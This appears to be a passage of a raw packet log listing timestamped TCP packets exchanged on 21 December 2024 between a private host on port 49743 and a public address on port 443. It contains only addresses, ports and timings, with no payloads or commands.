Dec 21, 2024 19:23:05.409163952 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.409172058 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.409265041 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.409346104 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.409368992 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.409579992 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.409589052 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.409709930 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.409813881 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.410147905 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.410307884 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.410398960 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.410696983 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.410851002 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.410944939 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.410978079 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.411201954 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.411514997 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.411657095 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.411664963 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.411765099 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.411771059 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.411828041 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.411839008 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.411847115 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.411956072 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.412023067 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.412034988 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.412125111 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.412267923 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.412273884 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.412278891 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.412380934 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.412456989 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.412465096 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.412540913 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.412614107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.412698030 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.412738085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.412813902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.412916899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.413228035 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.413239956 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.413423061 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.413516998 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.413525105 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.413580894 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.413723946 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.413834095 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.413986921 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.413995981 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.414117098 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.414124966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.414221048 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.414285898 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.414429903 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.414792061 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.414866924 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.414980888 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.414988041 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.415221930 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.415664911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.415819883 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.415910959 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.415915966 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.416690111 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.416739941 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.416903019 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.416923046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.416932106 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.417016029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.417155027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.417617083 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.417740107 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.417782068 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.417823076 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.417886019 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.417891026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.417977095 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.418068886 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.418173075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.418488026 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.418652058 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.418659925 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.418729067 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.419090033 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.419183969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.419198036 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.419204950 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.419279099 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.419383049 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.419465065 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.419706106 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.420140982 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.420291901 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.420380116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.421402931 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.421525002 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.421526909 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.421595097 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.421600103 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.421709061 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.421773911 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.422285080 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.422435045 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.422528028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.423024893 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.423093081 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.423254967 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.423263073 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.423343897 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.423671007 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.423825979 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.423834085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.423916101 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.423964024 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.424083948 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.424606085 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.424670935 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.424801111 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.424880028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.424886942 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.425112009 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.425429106 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.425498962 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.425606966 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.425606966 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.425616980 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.425669909 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.425704002 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.425921917 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.425930023 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.426151991 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.426840067 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.427033901 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.427042961 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.427081108 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.427084923 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.427275896 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.427297115 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.427304029 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.427506924 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.427594900 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.427867889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.428025007 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.428117990 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.428123951 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.429138899 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.429150105 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.429311991 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.429318905 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.429418087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.429470062 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.430433989 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.430445910 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.430706024 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.430712938 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.430778027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.430874109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.431761980 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.431773901 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.432003021 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.432010889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.432096004 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.432223082 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.432975054 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.432986975 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.433202028 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.433275938 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.433281898 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.433458090 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.434370995 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.434474945 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.434575081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.434582949 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.434669971 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.434809923 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.435412884 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.435506105 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.435559988 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.435667992 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.435674906 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.435841084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.436019897 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.436027050 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.436165094 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.437480927 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.437493086 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.437684059 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.437690973 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.437773943 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.437907934 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.437915087 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.437920094 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.438034058 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.438126087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.438205957 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.438213110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.438282013 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.438349009 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.438503027 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.438512087 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.438635111 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.438642979 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.438683987 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.438791990 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.438800097 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.438869953 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.438930988 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.439090014 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.439513922 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.439527988 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.439672947 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.439749956 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.439755917 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.439857006 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.439892054 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.439949989 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.440052986 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.440059900 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.440140009 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.440221071 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.441093922 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.441104889 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.441310883 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.441318989 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.441392899 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.441548109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.442251921 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.442264080 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.442536116 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.442543983 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.442795038 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.443339109 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.443351030 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.443561077 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.443568945 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.443650961 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.443783045 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.444191933 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.444204092 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.444391966 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.444446087 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.444452047 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.444498062 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.444715977 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.445138931 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.445149899 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.445213079 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.445292950 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.445369005 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.445374012 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.445460081 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.446400881 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.446527004 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.446535110 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.446626902 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.446691990 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.446849108 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.447179079 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.447190046 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.447359085 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.447359085 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.447366953 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.447453976 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.448355913 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.448369980 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.448551893 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.448559999 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.448658943 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.448837042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.449450970 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.449462891 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.449656963 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.449723959 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.449729919 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.449839115 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.450593948 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.450608969 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.450774908 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.450782061 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.450839043 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.450931072 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.451195955 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.451208115 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.451375961 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.451426983 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.451432943 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.451530933 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.452056885 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.452066898 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.452246904 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.452255011 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.452363014 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.452409029 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.453044891 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.453056097 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.453121901 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.453160048 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.453192949 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.453269958 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.453277111 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.453351021 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.453494072 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.453634977 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.453881979 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.454711914 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.454724073 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.454921961 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.454929113 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.455013037 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.455581903 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.455595970 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.455768108 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.455775023 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.455883980 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.456052065 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.456162930 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.456351995 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.456357002 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.456562042 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.456715107 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.456832886 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.456962109 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.456969023 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.457056046 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.457061052 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.457088947 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.457200050 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.457202911 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.457355976 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.457611084 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.457643986 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.457783937 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.457787037 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.457875013 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.458435059 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.458517075 CET	443	49743	172.67.201.143	192.168.11.20
Dec 21, 2024 19:23:05.458586931 CET	49743	443	192.168.11.20	172.67.201.143
Dec 21, 2024 19:23:05.458594084 CET	443	49743	172.67.201.143	192.168.11.20
